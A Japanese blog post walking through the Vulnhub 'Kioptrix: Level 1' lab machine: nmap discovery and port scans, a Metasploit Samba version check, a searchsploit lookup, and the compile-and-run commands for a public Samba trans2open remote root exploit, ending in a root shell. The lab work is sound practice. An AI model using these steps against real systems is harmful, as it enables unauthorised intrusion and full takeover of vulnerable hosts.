今年の目標の達成のため、手始めにVulnhubを勉強しようと思います。
最近年齢のせいか物忘れがひどいので、メモとして実施した内容や使用したコマンド等をブログに残します。
同じように攻略したい人は参考にしていただければと思います。
攻略するサーバについて
このブログを参考にまずは「Beginner friendly」のサーバを攻略していこうと思います。
今回はその中で一番最初にでている「Kioptrix: Level 1」です。
このVMについてはここからダウンロードできますので、興味がある方はどうぞ!
私は「VMware Workstation」を使用しているのですが、VMをダウンロードして、「よし!やるか!」と思った際になぜかネットワーク接続を「NAT」にしても強制的に「ブリッジ」になってしまいました。
結局直接「.vmx」ファイルを書き換えてNATにできるようにしました。
※結構調べたりして時間かかった・・・
ブリッジでもいいんですが、その時カフェで作業していたので、探索するわけにもいかず・・・
最終的にはちゃんとNATでできたので、OKです。
「Kali Linux」を使用して、該当のサーバを攻略していきます。
サーバの発見
まずはサーバを見つけます。
NATで接続しているので、同じNWにいることはわかっています。
まずはKaliのIPアドレスを確認します。
# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:b0:71:d0 brd ff:ff:ff:ff:ff:ff inet 192.168.119.129/24 brd 192.168.119.255 scope global dynamic noprefixroute eth0 valid_lft 950sec preferred_lft 950sec inet6 fe80::20c:29ff:feb0:71d0/64 scope link noprefixroute valid_lft forever preferred_lft forever
192.168.119.129であることがわかりました。
次に該当のサーバを探索します。
nmapのヘルプ(nmap -h)を確認すると、以下のように「HOST DISCOVERY」の項目があります。
HOST DISCOVERY: -sL: List Scan - simply list targets to scan -sn: Ping Scan - disable port scan -Pn: Treat all hosts as online -- skip host discovery -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO[protocol list]: IP Protocol Ping -n/-R: Never do DNS resolution/Always resolve [default: sometimes] --dns-servers <serv1[,serv2],...>: Specify custom DNS servers --system-dns: Use OS's DNS resolver --traceroute: Trace hop path to each host
今回は「-sn」(Ping Scan)を使用します。
# nmap -sn 192.168.119.0/24 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 01:08 EST Nmap scan report for 192.168.119.1 Host is up (0.00036s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.119.2 Host is up (0.00030s latency). MAC Address: 00:50:56:FE:3C:58 (VMware) Nmap scan report for 192.168.119.130 Host is up (0.00023s latency). MAC Address: 00:0C:29:A4:4C:39 (VMware) Nmap scan report for 192.168.119.254 Host is up (0.00030s latency). MAC Address: 00:50:56:F1:A4:00 (VMware) Nmap scan report for 192.168.119.129 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 2.23 seconds
192.168.119.1:ホスト
192.168.119.2:ゲートウェイ(NATデバイス)
192.168.119.254:DHCP サーバ
192.168.119.129:Kali Linux
ですので、必然的に残りの「192.168.119.130」が今回の対象IPですね。
これに対してスキャンしていきます。
オープンポートの確認
定番ですが、このままnmapで確認していきます。
まずはフルポートスキャンをしていきます。
# nmap -p- 192.168.119.130 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 01:15 EST Nmap scan report for 192.168.119.130 Host is up (0.0016s latency). Not shown: 65529 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 443/tcp open https 1024/tcp open kdm MAC Address: 00:0C:29:A4:4C:39 (VMware) Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
次に各サービスの詳細情報を取得するため、「-A」オプションをつけて、空いているポートのみスキャンします。
結果は以下のようになりました。
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) | ssh-hostkey: | 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1) | 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA) |_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA) |_sshv1: Server supports SSHv1 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b |_http-title: Test Page for the Apache Web Server on Red Hat Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 1024/tcp status |_ 100024 1 1024/udp status 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b |_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b |_http-title: 400 Bad Request | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2009-09-26T09:32:06 |_Not valid after: 2010-09-26T09:32:06 |_ssl-date: 2020-12-28T07:28:14+00:00; +1h01m50s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC4_64_WITH_MD5 | SSL2_RC4_128_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 1024/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:A4:4C:39 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.4.X OS CPE: cpe:/o:linux:linux_kernel:2.4 OS details: Linux 2.4.9 - 2.4.18 (likely embedded) Network Distance: 1 hop Host script results: |_clock-skew: 1h01m49s |_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC: (unknown) |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE HOP RTT ADDRESS 1 0.56 ms 192.168.119.130 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
ポート139で「Samba」が動いているようですが、バージョンが出ていません。
metasploitにバージョンを確認するモジュールがあったのでそれで確認してみます。
metasploitの実行
まずはSMBのバージョンを確認するモジュールの調査です。
以下のようにSMBバージョンを確認するモジュールがあります。ハイライトの箇所(3)です。
これを使用していきます。
msf6 > use auxiliary/scanner/smb/smb_version #①使用するモジュールを選択 msf6 auxiliary(scanner/smb/smb_version) > show options #②オプションを確認 Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' THREADS 1 yes The number of concurrent threads (max one per host) msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.119.130 #③RHOSTSを設定 RHOSTS => 192.168.119.130 msf6 auxiliary(scanner/smb/smb_version) > show options #④実行する前に最終確認 Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.119.130 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' THREADS 1 yes The number of concurrent threads (max one per host)
やっていることは以下です。コードの箇所にもコメントで記載しています。
①useで使用するモジュールを選択
②オプションを確認(RHOSTSを入力する必要あり)
③RHOSTSに対象のIPアドレスをset
④ちゃんと設定できたか確認(大事!)
これで準備はOKなのでrunで実行します。
結果としては以下の通り、「Samba 2.2.1a」だろうとのことです。
次に取得したバージョンで使用できる脆弱性がないか調査します。
攻撃コードの調査
いろいろ調査した結果、KaliLinuxに用意されているseachsploitを使用しました。
# searchsploit "Samba 2.2.1a" --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rb Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.c Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
上記のようになりました。
「Samba < 2.2.8 (Linux/BSD) – Remote Code Execution」がいい感じなので、こちらを使用します。
結果にPathが記載されていますので、このコードを取得してきます。
フルPathは「/usr/share/exploitdb/exploits/multiple/remote/10.c」になります。
「cp」コマンド等で任意のフォルダまで持ってこれたら、gccコマンドを使用してコンパイルします。
今回は適当に「samba10」としています。
# gcc 10.c -o samba10
コンパイルができたら、まずは動かしてみます。
# ./samba10 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- Usage: ./samba10 [-bBcCdfprsStv] [host] -b bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2) -B bruteforce steps (default = 300) -c connectback ip address -C max childs for scan/bruteforce mode (default = 40) -d bruteforce/scanmode delay in micro seconds (default = 100000) -f force -p port to attack (default = 139) -r return address -s scan mode (random) -S scan mode -t presets (0 for a list) -v verbose mode
オプションを指定する必要があるようです。
いろいろ試してみて、「./samba10 -b 0 -p 139 192.168.119.130」で動かしました。
※「./samba10 -b 0 192.168.119.130」でも動きます。最低でも「-b」のオプションは必要なようです。
以下のように成功し、「whoami」コマンドで権限を確認したところ、「root」であることが確認できたので、Hack成功です!
感想
記事にするのにものすごい時間がかかった。
しかも記事自体も長くなってしまったので、二つに分ければよかったですね・・・
mod_sslの脆弱性を使用した攻略方法もあるので、それも元気があればやりたいなと思います。
※ソースコードをいじらなきゃいけないので、二の足を踏んでいました・・・
他のレベルも含めコツコツとやっていきたいと思います。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント